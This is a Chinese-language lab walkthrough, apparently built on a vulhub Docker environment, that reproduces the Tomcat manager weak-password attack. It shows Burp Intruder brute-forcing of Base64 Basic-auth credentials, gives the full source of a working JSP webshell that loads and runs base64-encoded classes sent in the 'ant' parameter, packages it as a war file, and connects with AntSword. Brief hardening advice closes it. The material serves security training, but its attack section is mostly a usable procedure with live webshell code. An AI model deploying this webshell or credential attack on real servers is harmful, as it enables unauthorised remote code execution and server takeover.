Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。
漏洞复现
环境搭建(vulhub):
(1)进入到tomcat/tomcat8漏洞目录
cd /root/vulhub/tomcat/tomcat8
进入靶场环境
docker-compose up -d
环境拉好后,浏览器访问查看环境是否已经搭建好
(2)打开BurpSuite准备进行登录包抓包
(3)使用弱密码用户名:tomcat,密码:tomcat ,进入到 Manager 页面:
(4)抓到包后,准备进行账号密码爆破
使用 Intruder 模块添加变量:
Payload 选择 Custom iterator:
设置 Payload 1 的值为 tomcat,即用户名:
设置 Payload 2 的值为 : 即分隔符
设置 Payload 3 的值为需要爆破的密码:
添加 Payload Processing,选择为 Base64 编码:
取消勾选 URL 编码:
(5)开始爆破:
将返回状态200的 Payload 解码,得到密码
解码结果为用户名和密码都为 tomcat
(6)生成一个jsp马,文件内容如下
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
将 shell.jsp 马打包成 war 包
zip shell.war shell.jsp
利用获得的账号密码成功登录后,在 Manager 页面上传 war 包即可直接 getshell
(7)用蚁剑连接, url地址为http://IP/shell/shell.jsp,连接密码为ant
连接成功,成功get shell
修复建议
(1)严格控制账户权限,使用低权限账户运行tomcat程序(如非必须禁止远程登录);
(2)对需要远程登录账户,严格要求密码复杂度(大小写+8位以上+数字特殊字符),并定期进行更改;
(3)context.xml文件中限制远程访问IP,制定白名单策略。